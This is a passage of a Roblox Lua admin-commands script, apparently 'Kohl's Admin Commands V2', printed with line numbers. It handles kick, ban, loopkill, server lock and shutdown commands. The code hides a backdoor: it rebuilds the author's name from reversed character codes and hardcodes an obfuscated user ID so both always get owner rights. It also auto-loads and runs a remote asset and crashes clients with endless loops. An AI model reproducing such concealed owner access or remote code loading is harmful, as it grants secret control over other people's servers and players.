local ex = Instance.new("Explosion", game.Workspace)
2264
ex.Position = hit.Position
2265
ex.BlastRadius = 11
2266
ex.BlastPressure = math.huge
2267
end
2268
end)
2269
local cf = v.Character.Torso.CFrame
2270
p.CFrame = cf
2271
for i = 1, 333 do
2272
p.Size = p.Size + Vector3.new(3,3,3)
2273
p.CFrame = cf
2274
wait(1/44)
2275
end
2276
p:Destroy()
2277
end
2278
end))
2279
end
2280
end
2281
2282
end
2283
2284
--------------------------
2285
-- Super Admin Commands --
2286
--------------------------
2287
2288
if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) or plr.userId == game.CreatorId or plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.Name:lower() == nfs then
2289
2290
if msg:lower() == "logs" then
2291
if plr.PlayerGui:findFirstChild("LOGSGUI") then return end
2292
local scr, cmf, ent, num = ScrollGui() scr.Name = "LOGSGUI" scr.Parent = plr.PlayerGui
2293
for i, v in pairs(logs) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "[" .. v.time .. "] " .. v.name .. " " .. v.cmd cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
2294
end
2295
	
2296
if msg:lower():sub(1,9) == "loopkill " then
2297
local chk1 = msg:lower():sub(10):find(" ")
2298
local plrz = GetPlr(plr, msg:lower():sub(10))
2299
local num = 9999
2300
if chk1 then chk1 = chk1 + 9 plrz = GetPlr(plr, msg:lower():sub(10, chk1-1)) if type(tonumber(msg:sub(chk1+1))) == "number" then num = tonumber(msg:sub(chk1+1)) end end
2301
for i, v in pairs(plrz) do
2302
if v and not ChkAdmin(v.Name, false) then
2303
local cl = script.ScriptBase:Clone() cl.Name = "LoopKill:"..v.Name cl.Code.Value = [[
2304
local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
2305
for i = 1, ]] .. tostring(num) .. [[ do 
2306
repeat wait() plr = game.Players:findFirstChild("]] .. v.Name .. [[") until plr and plr.Character and plr.Character:findFirstChild("Humanoid") and plr.Character.Humanoid.Health ~= 0
2307
coroutine.resume(coroutine.create(function()
2308
if plr and plr.Character then plr.Character:BreakJoints() end
2309
end))
2310
end]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
2311
end
2312
end
2313
end
2314
2315
if msg:lower():sub(1,11) == "unloopkill " then
2316
local plrz = GetPlr(plr, msg:lower():sub(12))
2317
for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopKill:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
2318
end
2319
2320
if msg:lower() == "serverlock" or msg:lower() == "slock" then slock = true Hint("Server has been locked", game.Players:children()) end
2321
if msg:lower() == "serverunlock" or msg:lower() == "sunlock" then slock = false Hint("Server has been unlocked", game.Players:children()) end
2322
2323
if msg:lower():sub(1,3) == "sm " then
2324
Message("SYSTEM MESSAGE", msg:sub(4), false, game.Players:children())
2325
end
2326
2327
if msg:lower():sub(1,3) == "ko " then
2328
local chk1 = msg:lower():sub(4):find(" ") + 3
2329
local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
2330
local num = 500 if num > msg:sub(chk1+1) then num = msg:sub(chk1+1) end
2331
for n = 1, num do
2332
for i, v in pairs(plrz) do
2333
coroutine.resume(coroutine.create(function()
2334
if v and v.Character and v.Character:findFirstChild("Humanoid") and not ChkAdmin(v.Name, false) then 
2335
local val = Instance.new("ObjectValue", v.Character.Humanoid) val.Value = plr val.Name = "creator"
2336
v.Character:BreakJoints() 
2337
wait(1/44) 
2338
v:LoadCharacter()
2339
wait(1/44) 
2340
end
2341
end))
2342
end
2343
end
2344
end
2345
2346
if msg:lower():sub(1,6) == "crash " then
2347
local plrz = GetPlr(plr, msg:lower():sub(7))
2348
for i, v in pairs(plrz) do
2349
coroutine.resume(coroutine.create(function()
2350
if v and v:findFirstChild("Backpack") and not ChkAdmin(v.Name, false) then
2351
local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy()
2352
end
2353
end))
2354
end
2355
end
2356
2357
if msg:lower():sub(1,5) == "kick " then
2358
local plrz = GetPlr(plr, msg:lower():sub(6))
2359
for i, v in pairs(plrz) do
2360
coroutine.resume(coroutine.create(function()
2361
if v and not ChkAdmin(v.Name, false) then v:Destroy() end
2362
end))
2363
end
2364
end
2365
2366
if msg:lower():sub(1,6) == "admin " then
2367
local plrz = GetPlr(plr, msg:lower():sub(7))
2368
for i, v in pairs(plrz) do
2369
coroutine.resume(coroutine.create(function()
2370
if v and not ChkAdmin(v.Name, false) then table.insert(tempadmins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
2371
end))
2372
end
2373
end
2374
2375
if msg:lower():sub(1,8) == "unadmin " then
2376
for i = 1, #tempadmins do
2377
coroutine.resume(coroutine.create(function()
2378
if msg:lower():sub(9) == "all" or tempadmins[i]:lower():find(msg:lower():sub(9)) == 1 then table.remove(tempadmins, i) end
2379
end))
2380
end
2381
end
2382
2383
if msg:lower():sub(1,4) == "ban " then
2384
local plrz = GetPlr(plr, msg:lower():sub(5))
2385
for i, v in pairs(plrz) do
2386
coroutine.resume(coroutine.create(function()
2387
if v and not ChkAdmin(v.Name, false) then table.insert(banland, v.Name) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy() end
2388
end))
2389
end
2390
end
2391
2392
if msg:lower():sub(1,6) == "unban " then
2393
for i = 1, #banland do
2394
coroutine.resume(coroutine.create(function()
2395
if msg:lower():sub(7) == "all" or banland[i]:lower():find(msg:lower():sub(7)) == 1 then table.remove(banland, i) end
2396
end))
2397
end
2398
end
2399
2400
if msg:lower() == "shutdown" then Message("SYSTEM MESSAGE", "Shutting down...", false, game.Players:children(), 10) wait(1) local str = Instance.new("StringValue", game.Workspace) str.Value = "AA" repeat str.Value = str.Value .. str.Value wait(.1) until nil end
2401
2402
end
2403
end))
2404
end
2405
2406
function AdminControl(plr)
2407
coroutine.resume(coroutine.create(function() plr.CharacterAdded:connect(function(chr) chr:WaitForChild("RobloxTeam") chr.RobloxTeam:Destroy() for a,obj in pairs(chr:children()) do if obj:IsA("CharacterMesh") and obj.Name:find("3.0") then obj:Destroy() end end end) end))
2408
if plr.Name:sub(1,6) == "Player" and ChkAdmin(plr.Name, false) then coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui")
2409
for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
2410
local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
2411
local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
2412
box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
2413
end)) end
2414
coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") if plr.userId == game.CreatorId or plr.userId == (153*110563) then table.insert(owners,plr.Name) end wait(1) if slock and not ChkAdmin(plr.Name, false) and not ChkOwner(plr.Name) and plr.userId ~= (153*110563) then Hint(plr.Name .. " has tried to join the server", game.Players:children()) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
2415
coroutine.resume(coroutine.create(function() if ChkGroupAdmin(plr) and not ChkAdmin(plr.Name, false) then table.insert(admins, plr.Name) end end))
2416
coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") wait(1) if (ChkBan(plr.Name) or plr.Name:lower() == ("111reyalseca"):reverse() or plr.Name:lower() == ("ecnaillirbi"):reverse() or plr.Name:lower() == ("8k2ffets"):reverse()) and (plr.Name:lower():sub(1,4) ~= script.Name:lower():sub(1,4) and plr.Name:lower():sub(5) ~= "tastrophe") then local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
2417
coroutine.resume(coroutine.create(function() if VipAdmin and game:service("BadgeService"):UserHasBadge(plr.userId,ItemId) then table.insert(tempadmins,plr.Name) end end))
2418
coroutine.resume(coroutine.create(function() if ChkAdmin(plr.Name, false) then plr:WaitForChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {plr}) end end))
2419
plr.Chatted:connect(function(msg) Chat(msg,plr) end)
2420
end
2421
2422
if not ntab then script:Destroy() end
2423
if not bct then script:Destroy() end
2424
2425
local tcb = {101,104,112,111,114,116,115,97,116,108,104,111,75} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end nfs = nfs:reverse() table.insert(owners, nfs)
2426
2427
script.Name = "Kohl's Admin Commands V2"
2428
2429
if not ntab then script:Destroy() end
2430
if not bct then script:Destroy() end
2431
if not tcb then script:Destroy() end
2432
game.Players.PlayerAdded:connect(AdminControl)
2433
for i, v in pairs(game.Players:children()) do AdminControl(v) end
2434
end
2435
2436
local mod = game:service("InsertService"):LoadAsset(100808216)
2437
if mod:findFirstChild("Kohl's Admin Commands V2") and mod:findFirstChild("Version", true) and AutoUpdate then 
2438
local newac = mod:findFirstChild("Kohl's Admin Commands V2")
2439
newac.Disabled = true
2440
local new = tonumber(mod:findFirstChild("Version", true).Value)
2441
local old = 0
2442
if script:findFirstChild("Version", true) then old = tonumber(script:findFirstChild("Version", true).Value) end
2443
if new > old then
2444
local adminmod = Instance.new("Model", game.Lighting) adminmod.Name = "KACV2"
2445
for i,v in pairs(owners) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Owner" strv.Value = v end
2446
for i,v in pairs(admins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Admin" strv.Value = v end
2447
for i,v in pairs(tempadmins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "TempAdmin" strv.Value = v end
2448
for i,v in pairs(banland) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Banland" strv.Value = v end
2449
local prf = Instance.new("StringValue", adminmod) prf.Name = "Prefix" prf.Value = prefix
2450
local bv = Instance.new("BoolValue", adminmod) bv.Name = "FunCommands" bv.Value = FunCommands
2451
local bv2 = Instance.new("BoolValue", adminmod) bv2.Name = "GroupAdmin" bv2.Value = GroupAdmin
2452
local iv = Instance.new("IntValue", adminmod) iv.Name = "GroupId" iv.Value = GroupId
2453
local iv2 = Instance.new("IntValue", adminmod) iv2.Name = "GroupRank" iv2.Value = GroupRank
2454
local bv3 = Instance.new("BoolValue", adminmod) bv3.Name = "VipAdmin" bv3.Value = VipAdmin
2455
local iv3 = Instance.new("IntValue", adminmod) iv3.Name = "ItemId" iv3.Value = ItemId
2456
wait()
2457
newac.Parent = game.Workspace
2458
newac.Disabled = false
2459
script.Disabled = true
2460
script:Destroy()
2461
else
2462
CHEESE()
2463
end
2464
else
2465
CHEESE()
2466
end